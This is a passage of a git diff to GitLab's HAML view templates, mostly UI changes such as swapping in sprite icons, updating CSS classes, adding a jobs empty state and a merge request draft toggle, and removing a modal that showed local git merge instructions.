+ %a#clone-dropdown.gl-button.btn.btn-info.clone-dropdown-btn.qa-clone-dropdown{ href: '#', data: { toggle: 'dropdown' } }
%span.gl-mr-2.js-clone-dropdown-label
= _('Clone')
= sprite_icon("chevron-down", css_class: "icon")
@@ -12,7 +12,7 @@
%label.label-bold
= _('Clone with SSH')
.input-group
- = text_field_tag :ssh_project_clone, project.ssh_url_to_repo, class: "js-select-on-focus form-control qa-ssh-clone-url", readonly: true, aria: { label: 'Project clone URL' }
+ = text_field_tag :ssh_project_clone, project.ssh_url_to_repo, class: "js-select-on-focus form-control qa-ssh-clone-url", readonly: true, aria: { label: _('Repository clone URL') }
.input-group-append
= clipboard_button(target: '#ssh_project_clone', title: _("Copy URL"), class: "input-group-text btn-default btn-clipboard")
= render_if_exists 'projects/buttons/geo'
@@ -21,7 +21,7 @@
%label.label-bold
= _('Clone with %{http_label}') % { http_label: gitlab_config.protocol.upcase }
.input-group
- = text_field_tag :http_project_clone, project.http_url_to_repo, class: "js-select-on-focus form-control qa-http-clone-url", readonly: true, aria: { label: 'Project clone URL' }
+ = text_field_tag :http_project_clone, project.http_url_to_repo, class: "js-select-on-focus form-control qa-http-clone-url", readonly: true, aria: { label: _('Repository clone URL') }
.input-group-append
= clipboard_button(target: '#http_project_clone', title: _("Copy URL"), class: "input-group-text btn-default btn-clipboard")
= render_if_exists 'projects/buttons/geo'
diff --git a/app/views/projects/ci/builds/_build.html.haml b/app/views/projects/ci/builds/_build.html.haml
index 138f5569218..8b4411776bc 100644
--- a/app/views/projects/ci/builds/_build.html.haml
+++ b/app/views/projects/ci/builds/_build.html.haml
@@ -97,7 +97,7 @@
#{job.coverage}%
%td
- .float-right
+ .gl-display-flex
- if can?(current_user, :read_build, job) && job.artifacts?
= link_to download_project_job_artifacts_path(job.project, job), rel: 'nofollow', download: '', title: _('Download artifacts'), class: 'btn btn-build gl-button btn-icon btn-svg' do
= sprite_icon('download')
diff --git a/app/views/projects/ci/pipeline_editor/show.html.haml b/app/views/projects/ci/pipeline_editor/show.html.haml
index 0e032f2575e..f1f8658fa3b 100644
--- a/app/views/projects/ci/pipeline_editor/show.html.haml
+++ b/app/views/projects/ci/pipeline_editor/show.html.haml
@@ -3,4 +3,6 @@
#js-pipeline-editor{ data: { "ci-config-path": @project.ci_config_path_or_default,
"project-path" => @project.full_path,
"default-branch" => @project.default_branch,
+ "commit-id" => @project.commit ? @project.commit.id : '',
+ "new-merge-request-path" => namespace_project_new_merge_request_path,
} }
diff --git a/app/views/projects/commit/_commit_box.html.haml b/app/views/projects/commit/_commit_box.html.haml
index 86c80f1a8ae..6f2797654d0 100644
--- a/app/views/projects/commit/_commit_box.html.haml
+++ b/app/views/projects/commit/_commit_box.html.haml
@@ -30,7 +30,7 @@
.dropdown.inline
%a.btn.gl-button.dropdown-toggle.qa-options-button.d-md-inline{ data: { toggle: "dropdown" } }
%span= _('Options')
- = icon('caret-down')
+ = sprite_icon('chevron-down', css_class: 'gl-text-gray-500')
%ul.dropdown-menu.dropdown-menu-right
%li.d-block.d-sm-none
= link_to project_tree_path(@project, @commit) do
diff --git a/app/views/projects/commit/_verified_signature_badge.html.haml b/app/views/projects/commit/_verified_signature_badge.html.haml
index 4964b1b8ee7..357ad467539 100644
--- a/app/views/projects/commit/_verified_signature_badge.html.haml
+++ b/app/views/projects/commit/_verified_signature_badge.html.haml
@@ -1,5 +1,5 @@
- title = capture do
- = _('This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user.').html_safe
+ = html_escape(_('This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- locals = { signature: signature, title: title, label: _('Verified'), css_class: 'valid', icon: 'status_success_borderless', show_user: true }
diff --git a/app/views/projects/commit/x509/_unverified_signature_badge.html.haml b/app/views/projects/commit/x509/_unverified_signature_badge.html.haml
index 680cc32c7e6..6204a6977c0 100644
--- a/app/views/projects/commit/x509/_unverified_signature_badge.html.haml
+++ b/app/views/projects/commit/x509/_unverified_signature_badge.html.haml
@@ -1,5 +1,5 @@
- title = capture do
- = _('This commit was signed with an <strong>unverified</strong> signature.').html_safe
+ = html_escape(_('This commit was signed with an %{strong_open}unverified%{strong_close} signature.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- locals = { signature: signature, title: title, label: _('Unverified'), css_class: 'invalid', icon: 'status_notfound_borderless', show_user: true }
diff --git a/app/views/projects/commits/_commits.html.haml b/app/views/projects/commits/_commits.html.haml
index 63cc96c2c05..a8a928515fe 100644
--- a/app/views/projects/commits/_commits.html.haml
+++ b/app/views/projects/commits/_commits.html.haml
@@ -37,7 +37,9 @@
= _('Add previously merged commits')
- if commits.size == 0 && context_commits.nil?
- .mt-4.text-center
- .bold
+ .commits-empty.gl-mt-6
+ = custom_icon('illustration_no_commits')
+ %h4
= _('Your search didn\'t match any commits.')
- = _('Try changing or removing filters.')
+ %p
+ = _('Try changing or removing filters.')
diff --git a/app/views/projects/commits/show.html.haml b/app/views/projects/commits/show.html.haml
index 94bdab53cd0..a14f75259ec 100644
--- a/app/views/projects/commits/show.html.haml
+++ b/app/views/projects/commits/show.html.haml
@@ -24,7 +24,7 @@
.control
= form_tag(project_commits_path(@project, @id), method: :get, class: 'commits-search-form js-signature-container', data: { 'signatures-path' => namespace_project_signatures_path }) do
- = search_field_tag :search, params[:search], { placeholder: _('Search by message'), id: 'commits-search', class: 'form-control search-text-input input-short gl-mt-3 gl-sm-mt-0 gl-min-w-full', spellcheck: false }
+ = search_field_tag :search, params[:search], { placeholder: _('Search by message'), id: 'commits-search', class: 'form-control gl-form-input input-short gl-mt-3 gl-sm-mt-0 gl-min-w-full gl-inset-border-1-gray-200!', spellcheck: false }
.control.d-none.d-md-block
= link_to project_commits_path(@project, @ref, rss_url_options), title: _("Commits feed"), class: 'btn gl-button btn-svg' do
= sprite_icon('rss', css_class: 'qa-rss-icon')
diff --git a/app/views/projects/compare/_form.html.haml b/app/views/projects/compare/_form.html.haml
index a257f2e9433..0c0530110c5 100644
--- a/app/views/projects/compare/_form.html.haml
+++ b/app/views/projects/compare/_form.html.haml
@@ -28,4 +28,4 @@
- if @merge_request.present?
= link_to _("View open merge request"), project_merge_request_path(@project, @merge_request), class: 'gl-ml-3 btn'
- elsif create_mr_button?
- = link_to _("Create merge request"), create_mr_path, class: 'gl-ml-3 btn'
+ = link_to _("Create merge request"), create_mr_path, class: 'gl-ml-3 btn gl-button'
diff --git a/app/views/projects/cycle_analytics/show.html.haml b/app/views/projects/cycle_analytics/show.html.haml
index b98ab9757fa..fc3710d3609 100644
--- a/app/views/projects/cycle_analytics/show.html.haml
+++ b/app/views/projects/cycle_analytics/show.html.haml
@@ -2,13 +2,6 @@
- add_page_specific_style 'page_bundles/cycle_analytics'
#cycle-analytics{ "v-cloak" => "true", data: { request_path: project_cycle_analytics_path(@project) } }
- - if @cycle_analytics_no_data
- %banner{ "v-if" => "!isOverviewDialogDismissed",
- "documentation-link": help_page_path('user/analytics/value_stream_analytics.md'),
- "v-on:dismiss-overview-dialog" => "dismissOverviewDialog()" }
- .mb-3
- %h3
- = _("Value Stream Analytics")
%gl-loading-icon{ "v-show" => "isLoading", "size" => "lg" }
.wrapper{ "v-show" => "!isLoading && !hasError" }
.card
@@ -49,7 +42,7 @@
%span.has-tooltip{ "data-placement" => "top", title: _("The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."), "aria-hidden" => "true" }
= sprite_icon('question-o', css_class: 'gl-text-gray-500')
%li.event-header.pl-3
- %span.stage-name.font-weight-bold
+ %span.stage-name.font-weight-bold{ "v-if" => "currentStage && currentStage.legend" }
{{ currentStage ? __(currentStage.legend) : __('Related Issues') }}
%span.has-tooltip{ "data-placement" => "top", title: _("The collection of events added to the data gathered for that stage."), "aria-hidden" => "true" }
= sprite_icon('question-o', css_class: 'gl-text-gray-500')
diff --git a/app/views/projects/deployments/_actions.haml b/app/views/projects/deployments/_actions.haml
index 7f4b99f1a3f..c0fe143020a 100644
--- a/app/views/projects/deployments/_actions.haml
+++ b/app/views/projects/deployments/_actions.haml
@@ -5,7 +5,7 @@
.dropdown
%button.dropdown.dropdown-new.btn.gl-button.btn-default.has-tooltip{ type: 'button', 'data-toggle' => 'dropdown', title: s_('Environments|Deploy to...') }
= sprite_icon('play')
- = icon('caret-down')
+ = sprite_icon('chevron-down')
%ul.dropdown-menu.dropdown-menu-right
- actions.each do |action|
- next unless can?(current_user, :update_build, action)
diff --git a/app/views/projects/deployments/_commit.html.haml b/app/views/projects/deployments/_commit.html.haml
index 52e3e0fd997..509ed62b39d 100644
--- a/app/views/projects/deployments/_commit.html.haml
+++ b/app/views/projects/deployments/_commit.html.haml
@@ -2,7 +2,7 @@
.branch-commit.cgray
- if deployment.ref
%span.icon-container.gl-display-inline-block
- = deployment.tag? ? icon('tag') : sprite_icon('fork', css_class: 'sprite')
+ = deployment.tag? ? sprite_icon('tag', css_class: 'sprite') : sprite_icon('fork', css_class: 'sprite')
= link_to deployment.ref, project_ref_path(@project, deployment.ref), class: "ref-name"
.icon-container.commit-icon
= custom_icon("icon_commit")
diff --git a/app/views/projects/diffs/_file_header.html.haml b/app/views/projects/diffs/_file_header.html.haml
index cb43527def1..4a00e0af9d9 100644
--- a/app/views/projects/diffs/_file_header.html.haml
+++ b/app/views/projects/diffs/_file_header.html.haml
@@ -1,5 +1,7 @@
- if local_assigns.fetch(:show_toggle, true)
- %i.fa.diff-toggle-caret.fa-fw
+ %span.diff-toggle-caret
+ = sprite_icon('chevron-right', css_class: 'chevron-right gl-display-none')
+ = sprite_icon('chevron-down', css_class: 'chevron-down gl-display-none')
- if diff_file.submodule?
%span
diff --git a/app/views/projects/diffs/_replaced_image_diff.html.haml b/app/views/projects/diffs/_replaced_image_diff.html.haml
index 566dfe798c6..1f9533ade83 100644
--- a/app/views/projects/diffs/_replaced_image_diff.html.haml
+++ b/app/views/projects/diffs/_replaced_image_diff.html.haml
@@ -14,7 +14,7 @@
.wrap
.frame.deleted
= image_tag(old_blob_raw_url, alt: diff_file.old_path, lazy: false)
- %p.image-info.hide
+ %p.image-info.gl-display-none
%span.meta-filesize= number_to_human_size(old_blob.size)
|
%strong W:
@@ -24,7 +24,7 @@
%span.meta-height
.wrap
= render partial: "projects/diffs/image_diff_frame", locals: { class_name: "added js-image-frame #{class_name}", position: position, note_type: DiffNote.name, image_path: blob_raw_url, alt: diff_file.new_path }
- %p.image-info.hide
+ %p.image-info.gl-display-none
%span.meta-filesize= number_to_human_size(blob.size)
|
%strong W:
@@ -33,7 +33,7 @@
%strong H:
%span.meta-height
- .swipe.view.hide
+ .swipe.view.gl-display-none
.swipe-frame
.frame.deleted.old-diff
= image_tag(old_blob_raw_url, alt: diff_file.old_path, lazy: false)
@@ -43,7 +43,7 @@
%span.top-handle
%span.bottom-handle
- .onion-skin.view.hide
+ .onion-skin.view.gl-display-none
.onion-skin-frame
.frame.deleted
= image_tag(old_blob_raw_url, alt: diff_file.old_path, lazy: false)
@@ -54,7 +54,7 @@
.dragger{ :style => "left: 0px;" }
.opaque
-.view-modes.hide
+.view-modes.gl-display-none
%ul.view-modes-menu
%li.two-up{ data: { mode: 'two-up' } } 2-up
%li.swipe{ data: { mode: 'swipe' } } Swipe
diff --git a/app/views/projects/diffs/_stats.html.haml b/app/views/projects/diffs/_stats.html.haml
index 6429cf31bc3..8edaacf7552 100644
--- a/app/views/projects/diffs/_stats.html.haml
+++ b/app/views/projects/diffs/_stats.html.haml
@@ -4,7 +4,7 @@
Showing
%button.diff-stats-summary-toggler.js-diff-stats-dropdown{ type: "button", data: { toggle: "dropdown", display: "static" } }<
= pluralize(diff_files.size, "changed file")
- = icon("caret-down", class: "gl-ml-2")
+ = sprite_icon("chevron-down", css_class: "gl-ml-2")
%span.diff-stats-additions-deletions-expanded#diff-stats
with
%strong.cgreen= pluralize(sum_added_lines, 'addition')
diff --git a/app/views/projects/edit.html.haml b/app/views/projects/edit.html.haml
index 10dd80501e0..387564f6408 100644
--- a/app/views/projects/edit.html.haml
+++ b/app/views/projects/edit.html.haml
@@ -7,7 +7,7 @@
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only= _('Naming, topics, avatar')
%button.btn.btn-default.js-settings-toggle{ type: 'button' }= _('Collapse')
- %p= _('Update your project name, topics, description and avatar.')
+ %p= _('Update your project name, topics, description, and avatar.')
.settings-content= render 'projects/settings/general'
%section.settings.sharing-permissions.no-animate#js-shared-permissions{ class: ('expanded' if expanded), data: { qa_selector: 'visibility_features_permissions_content' } }
diff --git a/app/views/projects/empty.html.haml b/app/views/projects/empty.html.haml
index c6d39f5bba0..2936eff45df 100644
--- a/app/views/projects/empty.html.haml
+++ b/app/views/projects/empty.html.haml
@@ -1,12 +1,13 @@
- @content_class = "limit-container-width" unless fluid_layout
- default_branch_name = @project.default_branch || "master"
-- breadcrumb_title _("Details")
-- page_title _("Details")
+- @skip_current_level_breadcrumb = true
= render partial: 'flash_messages', locals: { project: @project }
= render "home_panel"
+= render "invite_members" if experiment_enabled?(:invite_members_empty_project_version_a) && can_import_members?
+
%h4.gl-mt-0.gl-mb-3
= _('The repository for this project is empty')
diff --git a/app/views/projects/forks/index.html.haml b/app/views/projects/forks/index.html.haml
index 67dc07fb785..89c2c826067 100644
--- a/app/views/projects/forks/index.html.haml
+++ b/app/views/projects/forks/index.html.haml
@@ -15,7 +15,7 @@
= sort_options_hash[@sort]
- else
= sort_title_recently_created
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right
%li
- excluded_filters = [:state, :scope, :label_name, :milestone_id, :assignee_id, :author_id]
diff --git a/app/views/projects/graphs/charts.html.haml b/app/views/projects/graphs/charts.html.haml
index 24d92e947bc..a92b02701c5 100644
--- a/app/views/projects/graphs/charts.html.haml
+++ b/app/views/projects/graphs/charts.html.haml
@@ -25,7 +25,7 @@
= (_("Code coverage statistics for master %{start_date} - %{end_date}") % {start_date: start_date, end_date: end_date})
- download_path = capture do
#{@daily_coverage_options[:download_path]}
- %a.btn.btn-sm{ href: "#{download_path}?#{@daily_coverage_options[:base_params].to_query}" }
+ %a.btn.gl-button.btn-sm{ href: "#{download_path}?#{@daily_coverage_options[:base_params].to_query}" }
%small
= _("Download raw data (.csv)")
#js-code-coverage-chart{ data: { graph_endpoint: "#{@daily_coverage_options[:graph_api_path]}?#{@daily_coverage_options[:base_params].to_query}" } }
diff --git a/app/views/projects/graphs/show.html.haml b/app/views/projects/graphs/show.html.haml
index a73e367733b..c7508ef4d47 100644
--- a/app/views/projects/graphs/show.html.haml
+++ b/app/views/projects/graphs/show.html.haml
@@ -3,6 +3,6 @@
.sub-header-block.bg-gray-light.gl-p-5
.tree-ref-holder.inline.vertical-align-middle
= render 'shared/ref_switcher', destination: 'graphs'
- = link_to s_('Commits|History'), project_commits_path(@project, current_ref), class: 'btn'
+ = link_to s_('Commits|History'), project_commits_path(@project, current_ref), class: 'btn gl-button'
.js-contributors-graph{ class: container_class, 'data-project-graph-path': project_graph_path(@project, current_ref, format: :json),'data-project-branch': current_ref }
diff --git a/app/views/projects/issuable/_show.html.haml b/app/views/projects/issuable/_show.html.haml
index 48920c4e342..8015b205568 100644
--- a/app/views/projects/issuable/_show.html.haml
+++ b/app/views/projects/issuable/_show.html.haml
@@ -3,7 +3,6 @@
- if issuable.relocation_target
- page_canonical_link issuable.relocation_target.present(current_user: current_user).web_url
-= render_if_exists "projects/issues/alert_blocked", issue: issuable, current_user: current_user
= render "projects/issues/alert_moved_from_service_desk", issue: issuable
= render 'shared/issue_type/details_header', issuable: issuable
diff --git a/app/views/projects/issues/_discussion.html.haml b/app/views/projects/issues/_discussion.html.haml
index 51130ae666c..2fbaa5812c0 100644
--- a/app/views/projects/issues/_discussion.html.haml
+++ b/app/views/projects/issues/_discussion.html.haml
@@ -3,11 +3,6 @@
- @gfm_form = true
-- content_for :note_actions do
- - if can?(current_user, :update_issue, @issue)
- = link_to 'Reopen issue', issue_path(@issue, issue: {state_event: :reopen}, format: 'json'), data: {original_text: "Reopen issue", alternative_text: "Comment & reopen issue"}, class: "gl-button btn btn-nr btn-reopen btn-comment js-note-target-reopen #{issue_button_visibility(@issue, false)}", title: 'Reopen issue'
- = link_to 'Close issue', issue_path(@issue, issue: {state_event: :close}, format: 'json'), data: {original_text: "Close issue", alternative_text: "Comment & close issue"}, class: "gl-button btn btn-nr btn-close btn-comment js-note-target-close #{issue_button_visibility(@issue, true)}", title: 'Close issue'
-
%section.issuable-discussion.js-vue-notes-event
#js-vue-notes{ data: { notes_data: notes_data(@issue).to_json,
noteable_data: serialize_issuable(@issue, with_blocking_issues: true),
diff --git a/app/views/projects/issues/_issue.html.haml b/app/views/projects/issues/_issue.html.haml
index d9ad171a6cc..23510713494 100644
--- a/app/views/projects/issues/_issue.html.haml
+++ b/app/views/projects/issues/_issue.html.haml
@@ -1,67 +1,68 @@
-# DANGER: Any changes to this file need to be reflected in issuables_list/components/issuable.vue!
%li{ id: dom_id(issue), class: issue_css_classes(issue), url: issue_path(issue), data: { labels: issue.label_ids, id: issue.id, qa_selector: 'issue_container', qa_issue_title: issue.title } }
- .issue-box
+ .issuable-info-container
- if @can_bulk_update
.issue-check.hidden
= check_box_tag dom_id(issue, "selected"), nil, false, 'data-id' => issue.id, class: "selected-issuable"
- .issuable-info-container
- .issuable-main-info
- .issue-title.title
- %span.issue-title-text.js-onboarding-issue-item{ dir: "auto" }
- - if issue.confidential?
- %span.has-tooltip{ title: _('Confidential') }
- = confidential_icon(issue)
- = link_to issue.title, issue_path(issue)
- = render_if_exists 'projects/issues/subepic_flag', issue: issue
- - if issue.tasks?
- %span.task-status.d-none.d-sm-inline-block
- &nbsp;
- = issue.task_status
+ .issuable-main-info
+ .issue-title.title
+ %span.issue-title-text.js-onboarding-issue-item{ dir: "auto" }
+ - if issue.confidential?
+ %span.has-tooltip{ title: _('Confidential') }
+ = confidential_icon(issue)
+ = link_to issue.title, issue_path(issue)
+ = render_if_exists 'projects/issues/subepic_flag', issue: issue
+ - if issue.tasks?
+ %span.task-status.d-none.d-sm-inline-block
+ &nbsp;
+ = issue.task_status
- .issuable-info
- %span.issuable-reference
- #{issuable_reference(issue)}
- %span.issuable-authored.d-none.d-sm-inline-block
- &middot;
- opened #{time_ago_with_tooltip(issue.created_at, placement: 'bottom')}
- by #{link_to_member(@project, issue.author, avatar: false)}
- = render_if_exists 'shared/issuable/gitlab_team_member_badge', {author: issue.author}
- - if issue.milestone
- %span.issuable-milestone.d-none.d-sm-inline-block
- &nbsp;
- = link_to project_issues_path(issue.project, milestone_title: issue.milestone.title), data: { html: 'true', toggle: 'tooltip', title: milestone_tooltip_due_date(issue.milestone) } do
- = sprite_icon('clock', css_class: 'gl-vertical-align-text-bottom')
- = issue.milestone.title
- - if issue.due_date
- %span.issuable-due-date.d-none.d-sm-inline-block.has-tooltip{ class: "#{'cred' if issue.overdue?}", title: _('Due date') }
- &nbsp;
- = sprite_icon('calendar')
- = issue.due_date.to_s(:medium)
+ .issuable-info
+ %span.issuable-reference
+ #{issuable_reference(issue)}
+ %span.issuable-authored.d-none.d-sm-inline-block
+ &middot;
+ opened #{time_ago_with_tooltip(issue.created_at, placement: 'bottom')} by
+ - if issue.service_desk_reply_to
+ #{issue.service_desk_reply_to} via
+ #{link_to_member(@project, issue.author, avatar: false)}
+ = render_if_exists 'shared/issuable/gitlab_team_member_badge', author: issue.author
+ - if issue.milestone
+ %span.issuable-milestone.d-none.d-sm-inline-block
+ &nbsp;
+ = link_to project_issues_path(issue.project, milestone_title: issue.milestone.title), data: { html: 'true', toggle: 'tooltip', title: milestone_tooltip_due_date(issue.milestone) } do
+ = sprite_icon('clock', css_class: 'gl-vertical-align-text-bottom')
+ = issue.milestone.title
+ - if issue.due_date
+ %span.issuable-due-date.d-none.d-sm-inline-block.has-tooltip{ class: "#{'cred' if issue.overdue?}", title: _('Due date') }
+ &nbsp;
+ = sprite_icon('calendar')
+ = issue.due_date.to_s(:medium)
- = render_if_exists "projects/issues/issue_weight", issue: issue
- = render_if_exists "projects/issues/health_status", issue: issue
+ = render_if_exists "projects/issues/issue_weight", issue: issue
+ = render_if_exists "projects/issues/health_status", issue: issue
- - if issue.labels.any?
- &nbsp;
- - presented_labels_sorted_by_title(issue.labels, issue.project).each do |label|
- = link_to_label(label, small: true)
+ - if issue.labels.any?
+ &nbsp;
+ - presented_labels_sorted_by_title(issue.labels, issue.project).each do |label|
+ = link_to_label(label, small: true)
- = render "projects/issues/issue_estimate", issue: issue
+ = render "projects/issues/issue_estimate", issue: issue
- .issuable-meta
- %ul.controls
- - if issue.closed? && issue.moved?
- %li.issuable-status
- = _('CLOSED (MOVED)')
- - elsif issue.closed?
- %li.issuable-status
- = _('CLOSED')
- - if issue.assignees.any?
- %li.gl-display-flex
- = render 'shared/issuable/assignees', project: @project, issuable: issue
+ .issuable-meta
+ %ul.controls
+ - if issue.closed? && issue.moved?
+ %li.issuable-status
+ = _('CLOSED (MOVED)')
+ - elsif issue.closed?
+ %li.issuable-status
+ = _('CLOSED')
+ - if issue.assignees.any?
+ %li.gl-display-flex
+ = render 'shared/issuable/assignees', project: @project, issuable: issue
- = render 'shared/issuable_meta_data', issuable: issue
+ = render 'shared/issuable_meta_data', issuable: issue
- .float-right.issuable-updated-at.d-none.d-sm-inline-block
- %span
- = _('updated %{time_ago}').html_safe % { time_ago: time_ago_with_tooltip(issue.updated_at, placement: 'bottom', html_class: 'issue_update_ago') }
+ .float-right.issuable-updated-at.d-none.d-sm-inline-block
+ %span
+ = _('updated %{time_ago}').html_safe % { time_ago: time_ago_with_tooltip(issue.updated_at, placement: 'bottom', html_class: 'issue_update_ago') }
diff --git a/app/views/projects/issues/_new_branch.html.haml b/app/views/projects/issues/_new_branch.html.haml
index 34260899d94..008340a3fe7 100644
--- a/app/views/projects/issues/_new_branch.html.haml
+++ b/app/views/projects/issues/_new_branch.html.haml
@@ -21,8 +21,8 @@
%button.btn.js-create-merge-request.btn-success.btn-inverted{ type: 'button', data: { action: data_action } }
= value
- %button.btn.create-merge-request-dropdown-toggle.dropdown-toggle.btn-success.btn-inverted.js-dropdown-toggle.flex-grow-0{ type: 'button', data: { dropdown: { trigger: '#create-merge-request-dropdown' }, display: 'static' } }
- = icon('caret-down')
+ %button.btn.gl-button.create-merge-request-dropdown-toggle.dropdown-toggle.btn-success.btn-inverted.js-dropdown-toggle.gl-flex-grow-0.gl-h-7{ type: 'button', data: { dropdown: { trigger: '#create-merge-request-dropdown' }, display: 'static' } }
+ = sprite_icon('chevron-down')
.droplab-dropdown
%ul#create-merge-request-dropdown.create-merge-request-dropdown-menu.dropdown-menu.dropdown-menu-right.gl-show-field-errors{ class: ("create-confidential-merge-request-dropdown-menu" if can_create_confidential_merge_request?), data: { dropdown: true } }
diff --git a/app/views/projects/jobs/_table.html.haml b/app/views/projects/jobs/_table.html.haml
index b08223546f7..b126b452dea 100644
--- a/app/views/projects/jobs/_table.html.haml
+++ b/app/views/projects/jobs/_table.html.haml
@@ -1,8 +1,20 @@
- admin = local_assigns.fetch(:admin, false)
- if builds.blank?
- %div
- .nothing-here-block No jobs to show
+ - if experiment_enabled?(:jobs_empty_state)
+ .row.empty-state
+ .col-12
+ .svg-content.svg-250
+ = image_tag('jobs-empty-state.svg')
+ .col-12
+ .text-content.gl-text-center
+ %h4
+ = s_('Jobs|Use jobs to automate your tasks')
+ %p
+ = s_('Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project.')
+ = link_to s_('Jobs|Create CI/CD configuration file'), help_page_path('ci/quick_start/README'), class: 'btn gl-button btn-info js-empty-state-button'
+ - else
+ .nothing-here-block= s_('Jobs|No jobs to show')
- else
.table-holder
%table.table.ci-table.builds-page
diff --git a/app/views/projects/jobs/index.html.haml b/app/views/projects/jobs/index.html.haml
index a1960fc99cf..cd062fcf675 100644
--- a/app/views/projects/jobs/index.html.haml
+++ b/app/views/projects/jobs/index.html.haml
@@ -7,8 +7,8 @@
.nav-controls
- if can?(current_user, :update_build, @project)
- - unless @repository.gitlab_ci_yml
- = link_to 'Get started with Pipelines', help_page_path('ci/quick_start/README'), class: 'btn gl-button btn-info'
+ - if !@repository.gitlab_ci_yml && !experiment_enabled?(:jobs_empty_state)
+ = link_to 'Get started with Pipelines', help_page_path('ci/quick_start/README'), class: 'btn gl-button btn-info js-empty-state-button'
= link_to project_ci_lint_path(@project), class: 'btn gl-button btn-default' do
%span CI lint
diff --git a/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml b/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml
new file mode 100644
index 00000000000..3a8629b3b6e
--- /dev/null
+++ b/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml
@@ -0,0 +1,37 @@
+- display_issuable_type = issuable_display_type(@merge_request)
+- button_action_class = @merge_request.closed? ? 'btn-default' : 'btn-warning btn-warning-secondary'
+- button_class = "btn gl-button #{!@merge_request.closed? && 'js-draft-toggle-button'}"
+- toggle_class = "btn gl-button dropdown-toggle"
+
+.float-left.btn-group.gl-ml-3.gl-display-none.gl-display-md-flex
+ = link_to @merge_request.closed? ? reopen_issuable_path(@merge_request) : toggle_draft_merge_request_path(@merge_request), method: :put, class: "#{button_class} #{button_action_class}" do
+ - if @merge_request.closed?
+ = _('Reopen')
+ = display_issuable_type
+ - else
+ = @merge_request.work_in_progress? ? _('Mark as ready') : _('Mark as draft')
+
+ - if !@merge_request.closed? || !issuable_author_is_current_user(@merge_request)
+ = button_tag type: 'button', class: "#{toggle_class} #{button_action_class}", data: { 'toggle' => 'dropdown' } do
+ %span.gl-sr-only= _('Toggle dropdown')
+ = sprite_icon "angle-down", size: 12
+
+ %ul.dropdown-menu.dropdown-menu-right
+ - if @merge_request.open?
+ %li
+ = link_to close_issuable_path(@merge_request), method: :put do
+ .description
+ %strong.title
+ = _('Close')
+ = display_issuable_type
+
+ - unless issuable_author_is_current_user(@merge_request)
+ - unless @merge_request.closed?
+ %li.divider.droplab-item-ignore
+
+ %li
+ %a{ href: new_abuse_report_path(user_id: @merge_request.author.id, ref_url: merge_request_url(@merge_request)) }
+ .description
+ %strong.title= _('Report abuse')
+ %p.text.gl-mb-0
+ = _('Report %{display_issuable_type} that are abusive, inappropriate or spam.') % { display_issuable_type: display_issuable_type.pluralize }
diff --git a/app/views/projects/merge_requests/_how_to_merge.html.haml b/app/views/projects/merge_requests/_how_to_merge.html.haml
deleted file mode 100644
index a831972a823..00000000000
--- a/app/views/projects/merge_requests/_how_to_merge.html.haml
+++ /dev/null
@@ -1,56 +0,0 @@
-#modal_merge_info.modal{ tabindex: '-1' }
- .modal-dialog.modal-lg
- .modal-content
- .modal-header
- %h3.modal-title Check out, review, and merge locally
- %button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
- .modal-body
- %p
- %strong Step 1.
- Fetch and check out the branch for this merge request
- = clipboard_button(target: "pre#merge-info-1", title: _("Copy commands"))
- %pre.dark#merge-info-1
- - if @merge_request.for_fork?
- -# All repo/branch refs have been quoted to allow support for special characters (such as #my-branch)
- :preserve
- git fetch "#{h default_url_to_repo(@merge_request.source_project)}" "#{h @merge_request.source_branch}"
- git checkout -b "#{h @merge_request.source_project_path}-#{h @merge_request.source_branch}" FETCH_HEAD
- - else
- :preserve
- git fetch origin
- git checkout -b "#{h @merge_request.source_branch}" "origin/#{h @merge_request.source_branch}"
- %p
- %strong Step 2.
- Review the changes locally
-
- %p
- %strong Step 3.
- Merge the branch and fix any conflicts that come up
- = clipboard_button(target: "pre#merge-info-3", title: _("Copy commands"))
- %pre.dark#merge-info-3
- - if @merge_request.for_fork?
- :preserve
- git fetch origin
- git checkout "#{h @merge_request.target_branch}"
- git merge --no-ff "#{h @merge_request.source_project_path}-#{h @merge_request.source_branch}"
- - else
- :preserve
- git fetch origin
- git checkout "#{h @merge_request.target_branch}"
- git merge --no-ff "#{h @merge_request.source_branch}"
- %p
- %strong Step 4.
- Push the result of the merge to GitLab
- = clipboard_button(target: "pre#merge-info-4", title: _("Copy commands"))
- %pre.dark#merge-info-4
- :preserve
- git push origin "#{h @merge_request.target_branch}"
- - unless @merge_request.can_be_merged_by?(current_user)
- %p
- Note that pushing to GitLab requires write access to this repository.
- %p
- %strong Tip:
- = succeed '.' do
- You can also checkout merge requests locally by
- = link_to 'following these guidelines', help_page_path('user/project/merge_requests/reviewing_and_managing_merge_requests.md', anchor: "checkout-merge-requests-locally-through-the-head-ref"), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/projects/merge_requests/_merge_request.html.haml b/app/views/projects/merge_requests/_merge_request.html.haml
index 092055a5f85..4711143c900 100644
--- a/app/views/projects/merge_requests/_merge_request.html.haml
+++ b/app/views/projects/merge_requests/_merge_request.html.haml
@@ -20,7 +20,7 @@
&middot;
opened #{time_ago_with_tooltip(merge_request.created_at, placement: 'bottom')}
by #{link_to_member(@project, merge_request.author, avatar: false)}
- = render_if_exists 'shared/issuable/gitlab_team_member_badge', {author: merge_request.author}
+ = render_if_exists 'shared/issuable/gitlab_team_member_badge', author: merge_request.author
- if merge_request.milestone
%span.issuable-milestone.d-none.d-sm-inline-block
&nbsp;
@@ -55,7 +55,7 @@
- if merge_request.assignees.any?
%li.gl-display-flex.gl-align-items-center
